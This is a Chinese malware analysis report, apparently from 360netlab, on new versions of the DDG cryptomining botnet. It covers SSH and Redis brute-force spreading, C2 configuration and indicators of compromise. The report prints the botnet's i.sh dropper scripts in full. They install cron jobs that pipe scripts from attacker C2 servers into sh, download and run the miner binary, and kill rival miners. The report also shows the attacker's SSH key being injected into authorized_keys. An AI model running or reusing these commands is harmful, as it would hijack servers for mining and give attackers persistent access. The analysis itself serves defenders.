DDG.Mining.Botnet 近期活动分析 | xxxDDG.Mining.Botnet 近期活动分析 – xxx
菜单

DDG.Mining.Botnet 近期活动分析

五月 21, 2018 - 360netlab

UPDATE(2018.6.13)

6.12 日,我们监测到 DDG.Mining.Botnet 又发布了新版本,最新版本为 v3012 ,更新概要如下:

最新 C2 主页截图:

最新的核心样本如下:

md5=e31c1d7a8025e7c3266a07e37c55a4ba    uri=hxxp://69.64.32.12:8000/static/3012/ddgs.i686 md5=26b3aef91bacfa082deff9812acf7875    uri=hxxp://69.64.32.12:8000/static/3012/ddgs.x86_64 

最新的 i.sh 脚本如下:

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin  echo "*/5 * * * * curl -fsSL hxxp://69.64.32.12:8000/i.sh | sh" > /var/spool/cron/root echo "*/5 * * * * wget -q -O- hxxp://69.64.32.12:8000/i.sh | sh" >> /var/spool/cron/root mkdir -p /var/spool/cron/crontabs echo "*/5 * * * * curl -fsSL hxxp://69.64.32.12:8000/i.sh | sh" > /var/spool/cron/crontabs/root echo "*/5 * * * * wget -q -O- hxxp://69.64.32.12:8000/i.sh | sh" >> /var/spool/cron/crontabs/root  ps auxf | grep -v grep | grep /tmp/ddgs.3012 || rm -rf /tmp/ddgs.3012 if [ ! -f "/tmp/ddgs.3012" ]; then     curl -fsSL hxxp://69.64.32.12:8000/static/3012/ddgs.$(uname -m) -o /tmp/ddgs.3012 fi chmod +x /tmp/ddgs.3012 && /tmp/ddgs.3012  ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill #ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill #ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill 

最新的备用 C2 IP 以及 AS 信息 List 如下:

iplist_v3012.txt


UPDATE(2018.6.1)

5.21 日,我们发布了关于 DDG.Mining.Botnet 的近期活动分析报告。我们发现了 ddgs v3010 和 v3011 两个版本的相关样本,并在它们共同用到的挖矿样本中发现了与 ddg v20xx 版本不同的 XMR Wallet。但由于 ddgs v3011 版本的样本并不能正常执行挖矿操作,我们把 v3011 版本定性为测试版本或过渡版本。并且,新发现的 XMR Wallet 中的挖矿收益,应为 v3011 版本之前的版本挖矿所得。

5.31 日,我们监测到 DDG.Mining.Botnet 又有了新动态,发布了新的关键更新,概要如下:

  1. 更新了矿机程序;
  2. 发布了 ddgs v3011 的 x86_64 版本的样本(之前只有 i686 版本);
  3. 更新了备用 C2 IP 列表;
  4. 更新了核心 Shell 脚本文件 i.sh

ddgs 最新样本全家福:

新的矿机程序

最新的矿机程序 qW3xTqW3xT.1,由 XMRig2.6.2 编译而来,均为 64Bit ELF 文件:

c50d3e20b3519f096630e31277fefceb, hxxp://165.225.157.157:8000/static/qW3xT, 1252480 bytes, last modified 2018-05-24 15:51:10 +0000 UTC   532a35a8d0fe4944c24575c0336eff8a, hxxp://165.225.157.157:8000/static/qW3xT.1, 1256576 bytes, last modified 2018-05-29 13:56:16 +0000 UTC   

矿机所连接的矿池以及使用的 XMR Wallet 均未变化,只是矿池 Proxy 由之前的 47.90.204.154 变成了 47.52.57.128/165.225.157.157 两个。

ddgs.x86_64

md5=55b1d7b0fa1c479c02660896e05db910 uri=hxxp://165.225.157.157:8000/static/3011/ddgs.x86_64   

v3011 版本有了 ddgs.x86_64 ,就可以在 64bit 系统的失陷主机上顺利下载、执行矿机程序来挖矿了。自此, v3011 不再是测试版本或者过渡版本,而是一个可以顺利运行的版本

最新的备用 C2 IP 列表

5.21 日我们公布了一批 ddgs.i686 样本里内置的备用 C2 IP 列表,在最新的 ddgs.x86_64 样本里,我们发现备用 C2 IP 列表有变动,最新完整的的 C2 IP 列表如下(与之前的有部分重合):

iplist_v3011_2.txt

i.sh 的变动

因为 DDG.Mining.Botnet 最新版 v3011 现在集齐了 i686 和 x86_64 两个核心样本,所以现在的 i.sh 也做了相应改动,可以通过 ddgs.$(uname -m) 来适配 i686 和 x86_64 的失陷主机:

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin  echo "*/5 * * * * curl -fsSL hxxp://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/root   echo "*/5 * * * * wget -q -O- hxxp://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/root   mkdir -p /var/spool/cron/crontabs   echo "*/5 * * * * curl -fsSL hxxp://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/crontabs/root   echo "*/5 * * * * wget -q -O- hxxp://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/crontabs/root  ps auxf | grep -v grep | grep /tmp/ddgs.3011 || rm -rf /tmp/ddgs.3011   if [ ! -f "/tmp/ddgs.3011" ]; then       curl -fsSL hxxp://165.225.157.157:8000/static/3011/ddgs.$(uname -m) -o /tmp/ddgs.3011 fi   chmod +x /tmp/ddgs.3011 && /tmp/ddgs.3011  ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill   ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill   ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill   ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill   ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill   ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill   #ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill #ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill 

原文(2018.5.21)

今年 2 月 1 日,我们详细分析了一个瞄准数据库服务器的挖矿僵尸网络 DDG.Mining.Botnet

近期,我们注意到该家族发布了新的版本 3011 ,在该更新版本部署的过程中,引发了端口 7379 及相关端口上的扫描流量异常。在该版本的样本中我们发现了新的钱包地址,其在 2 个矿池里累计收益已经超过 1,419 枚 XMR。最后值得注意的是,该版本可能还处于测试阶段,或者只是一个过渡版本。

DDG 3011 版本的概要特征如下:

7379 及相关端口上的扫描流量异常

近期,我们的 ScanMon 系统显示 Redis 服务相关端口的扫描流量骤增,如下:

上图中,与该扫描相关的关联端口共计 7 个,分别是 :

我们在本文后续的样本分析环节中可以发现,DDG 新版本 ddgs.3011 的扫描模式与上述 ScanMon 观察到的现象非常契合。这足以证明,DDG 最新版本的活动引起了本轮 7379 及相关端口上的扫描行为。

样本执行流程

我们捕获了这次事件相关的核心样本:

hxxp://165.225.157.157:8000/static/3011/ddgs.i686    md5=999fc24f53034b4c73866a0699be15fa   

该样本的执行流程如下:

新旧样本最明显的相似之处,是通过把 i.sh 脚本植入到 Linux 系统肉鸡的 Crontab 中来实现持久驻留。新 i.sh 脚本内容如下:

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin  echo "*/5 * * * * curl -fsSL hxxp://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/root   echo "*/5 * * * * wget -q -O- hxxp://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/root   mkdir -p /var/spool/cron/crontabs   echo "*/5 * * * * curl -fsSL hxxp://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/crontabs/root   echo "*/5 * * * * wget -q -O- hxxp://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/crontabs/root  if [ ! -f "/tmp/ddgs.3011" ]; then       curl -fsSL hxxp://165.225.157.157:8000/static/3011/ddgs.i686 -o /tmp/ddgs.3011 fi   chmod +x /tmp/ddgs.3011 && /tmp/ddgs.3011  ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill   ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill   ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill   ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill   ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill   ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill   #ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill #ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill 

ddgs.i686 通过 SSH / Redis 服务暴破、未授权访问来入侵主机,暴破词典如下:

ddgs.i686 还会在失陷主机本地的 /var/spool/cron/crontabs/root 或者 /var/spool/cron/crontabs 处写入定时任务脚本,从云端下载最新的 i.sh 脚本定时执行( %s 处为最新的 i.sh 下载链接),实现持久驻留:

*/1 * * * * curl -L %s | sh */1 * * * * wget -q %s -O - | sh 

然后,ddgs.i686 会尝试在当前肉鸡的 ~/.ssh/authorized_keys 中注入以下 SSH Pub Key:

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfxLBb/eKbi0TVVULI8ILVtbv2iaGM+eZbZoCWcD3v/eF1B/VkHAC1YwIhfqkUYudwhxVfQzsOZYQmKyapWzgp3tBAxcl82Al++VQc36mf/XFnECHndJS1JZB429/w/Ao+KlASl/qzita61D2VsXyejIQIeYR7Ro+ztLSTXjx+70CvzgOae3oayunL/hGX8qORIkG5YR3R1Jefhxy1NhGxEd6GaR7fZA5QWGfM17IcSXi2Q876JL8U7Aq8cjQyN/kGT2jWiiQiOZzqbjVJVICiwk0KvtrTwppV6FLty/vdfhgyspR4WZMep41xxuBH5rBkEJO5lqbKJWatcaA8n9jR root@localhost   

ddgs.i686 样本中内置了一个 ip:port 的 List,其中 2 个主要的 165.225.157.157:8000165.227.149.151:8000 ,其他算是备用,全部列表如下:

iplist_v3011_1.txt

样本 ddgs.i686 启动之后,会依次连接上述 ip:port 检查是否可以访问:

对每个成功握手的 ip:port ,ddgs.i686 都会尝试向 hxxp://<C2:8000>/slave 发送 HTTP POST 请求:

如果 C2 正常工作,则会返回一串用 msgPack 序列化编码后的配置文件数据:

由于这串数据自定义了复杂的数据结构,没能成功完美解码,经过 msgPack 通用反序列化再大概还原后如下:

{     'Data':          Config:              Interval:"360s";             Miner:[                 {Exe: "/tmp/2t3ik.p", Md5: "b44bce2047f2254e5e7e8b0730caae2e", Url: "/static/2t3ik.p"},                  {Exe: "/tmp/2t3ik.m", Md5: "54259015b8ead37ac66da056769520db", Url: "/static/2t3ik.m"}             ];             Cmd:[                 (AAredis:{                     Id: 6016;                     Version: 3011;                      ShellUrl: "http://165.225.157.157:8000/i.sh";                      Duration: "168h";                     aIPDuration: "23h";                      GenLan;                     GenAAA;                     Ports: (6379, 6380, 7379)                 }),                 (AAssh:{                     Id: 2017;                     Version: 3011;                     ShellUrl: "http://165.225.157.157:8000/i.sh";                     NThreadsd;                     Duration: "168h";                     aIPDuration:"26h"                     GenLan;                     GenAAA;Ports: (22, 2222, 22222)                 }),                 (Update:(                     {                         Id: 142;                         Version: 3010;                         Timeout: "26m";                         Exe: "/tmp/ddgs.3011";                         Md5: "999fc24f53034b4c73866a0699be15fa";                         Url: "/static/3011/ddgs.i686";                         Killer: 132;                     },                     {                         Id: 197;                         Version:3011;                         Expr: ".+(cryptonight|stratum+tcp://|dwarfpool.com).+";                         Timeout: "360s";                     },                     {                         Id: 198;                         Version: 3011;                         Expr: "./xmr-stak|./.syslog|/bin/wipefs|./xmrig|/tmp/wnTKYg";                         Timeout: "360s";                     },                     {                         Id: 199;                         Version: 3011;                         Expr: "/tmp/2t3ik.+";                         Timeout: "360s";                         LKProc: 132;                     },                     {                         Id: 177;                         Version: 3011;                         Expr: ".+";                         Timeout: 360s'                     }                 )             ],     'Signature': '/x02/x0b_v8/xe4/xa9/xe8/x0fV/xc1/x04/xbeK/x1e/x10/x1a/xc4/xb3C}/xb2/x96D/r/x97"/xc4/xffF/xd0s)/xbf/xc4H/xa4/xa5le/xd5J/x8b/x0f8?/r/xfb/x8b)/~~/x02/xfd/xf7/xa4/xe5"hp/x11/xdd/xae/xd4/r///xb4/xf7)/xf1/xc4/x87/x95/x8esM/xbcq/x01Y/xe8/xe5H/x93/xde/xcc/xbbq/xc3/xdebS/x03/x90K/t4/x9e=/x94/xd1w~V/xa3/xad$/x10/'/xa2y/xaa/xe6/x0ep/xd8/x00/xf2/xf7B/xc6/x18/xa4/x16_q/K/xf8/x05/n/x98:-/x9f/xf1z/xfe/xa3/xe4C/xa8/xeeg/x0f/x7f/xd7/x8d/x02/x98///x1aJ/xab/xcc/xf9/xbd/x94/x83/xfd/xc3q/xad/xb5/x8d/xcb/x06/xfeQ/x1d=/x05L@/xc3/xf6/n>/xb2/xedY/x16./x14/x7fc/xf9/xafT/xa3/xfbzq/y/xba4/xd8k/x82rh/x17/xd8/xd5/'EU~/x1ag/x0f/xb2/xa0/xa3C/xff/xcbSj/xccI/xe4/x98/x99/xc3/xe8/xfe/xe7/xfd/xf5/x07/xce/x8d/x97d/x1e/xae/ta/xf3/x8e/x05/xf7/xb7/x95/xe7/x82|/x8eS/x0b/x11/xcb/xa3' } 

结合配置文件和样本分析,可以发现以下几个关键点:

  1. 配置文件中提供了 Miner 程序的 URI、MD5 和保存到当前肉鸡的文件路径。ddgs.i686 会根据 URI,通过 HTTP GET 请求从 http://<C2:8000>/Miner_URI 处下载 Miner 程序并另存到指定路径;

  2. 配置文件中提供了最新的 i.sh 文件下载路径,ddgs.i686 会把这个路径填充到定时任务的命令字串中;

  3. 配置文件中指定了要扫描的 dstport,可以看到针对 Redis 服务,指定 ddgs.i686 扫描 (6379, 6380, 7379) 三个端口,针对 SSH 服务,指定扫描 (22, 2222, 22222) 三个端口。(这里可以解释 ScanMon 上 7 个端口之间的伴生关系。但 Redis 服务相关的 3 个端口与 SSH 服务相关的 3 个端口之间 Shared scip 数量比较少,原因可能跟蜜罐部署以及蜜罐的网络配置有关)

  4. 配置文件中的 GenLan / GenAAA 对应生成 Scan Target IP 的生成策略。样本中的 Scan Target IP 生成策略仍然同于旧版本的 ddg.miner:
    生成的内网网段 Target IP 范围如下:

    • 10.Y.x.x/16 (Y 为当前内网 IP B 段的值)
    • 172.16.x.x/16
    • 192.168.x.x/16

    当前主机的公网 IP 地址 WAN_IP ,然后在 WAN_IP/8 范围内生成公网网段 Target IP 。

    但是样本内有个扫描控制策略,从行为上看,针对内网 Target IP ,只扫描 SSH 服务相关的 3 个端口,我的虚拟机上运行结果只会扫 SSH 服务,看起来只有获取到了网卡的外网地址,才会针对外网的 Target IP 扫描 Redis 相关的端口。

  5. 配置文件中给出了 ddgs 样本的更新配置:最新的版本号、本地另存的文件路径、C2 端下载的 URI 以及样本的 MD5,本地已有的 ddgs.i686 样本会根据这些信息对本地样本进行更新。

挖矿

样本获取配置文件后,会根据配置文件中 Miner 的信息,去下载 2t3ik.p2t3ik.m 到当前失陷主机的 /tmp/ 目录。这两个文件是 XMRig 2.5.2 编译的矿机程序,具体区别不明,关键信息都一致:

3011 是一个测试或过渡版本

最后值得一提的是,ddgs.i686 是 32bit ELF 文件,而它下载到的 2t3ik.p2t3ik.m 都是 64bit ELF 文件,这样一来,在真实环境中,矿机程序并没有办法运行。而且,版本 3011 只有hxxp://165.225.157.157:8000/static/3011/ddgs.i686 这一个核心样本,不像版本 3010 ,同时存在 ddgs.i686 和 ddgs.x86_64 两个核心样本。所以,可以认为版本 3011 目前处于测试阶段,或者只是一个过渡版本。

IoC

Sample

md5=9ebf7fc39efe7c553989d54965ebb468    uri=hxxp://165.225.157.157:8000/static/imWBR1   md5=d3b1700a413924743caab1460129396b    uri=hxxp://165.225.157.157:8000/static/wnTKYg   md5=8eaf1f18c006e6ecacfb1adb0ef7faee    uri=hxxp://165.225.157.157:8000/static/wnTKYg.noaes   md5=754487fd92e282c98acf6528604049aa    uri=hxxp://165.225.157.157:8000/static/imWBR1.ig   md5=52f06ca981a6e6cbc89b095ea6db1bf9    uri=hxxp://165.225.157.157:8000/static/2t3ik.s   md5=b44bce2047f2254e5e7e8b0730caae2e    uri=hxxp://165.225.157.157:8000/static/2t3ik.p   md5=54259015b8ead37ac66da056769520db    uri=hxxp://165.225.157.157:8000/static/2t3ik.m   md5=76e8d7bf408b3b6ebd13d6b292519742    uri=hxxp://165.225.157.157:8000/static/2t3ik   md5=999fc24f53034b4c73866a0699be15fa    uri=hxxp://165.225.157.157:8000/static/3011/ddgs.i686   md5=8ab02497219bda76c959f86386a2c363    uri=hxxp://165.225.157.157:8000/static/3010/ddgs.i686   md5=45774309c72839d6d4303024059e7070    uri=hxxp://165.225.157.157:8000/static/3010/ddgs.x86_64   md5=884a57a0e4f9d222117aeca111095d7a    uri=hxxp://165.225.157.157:8000/i.sh   

Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51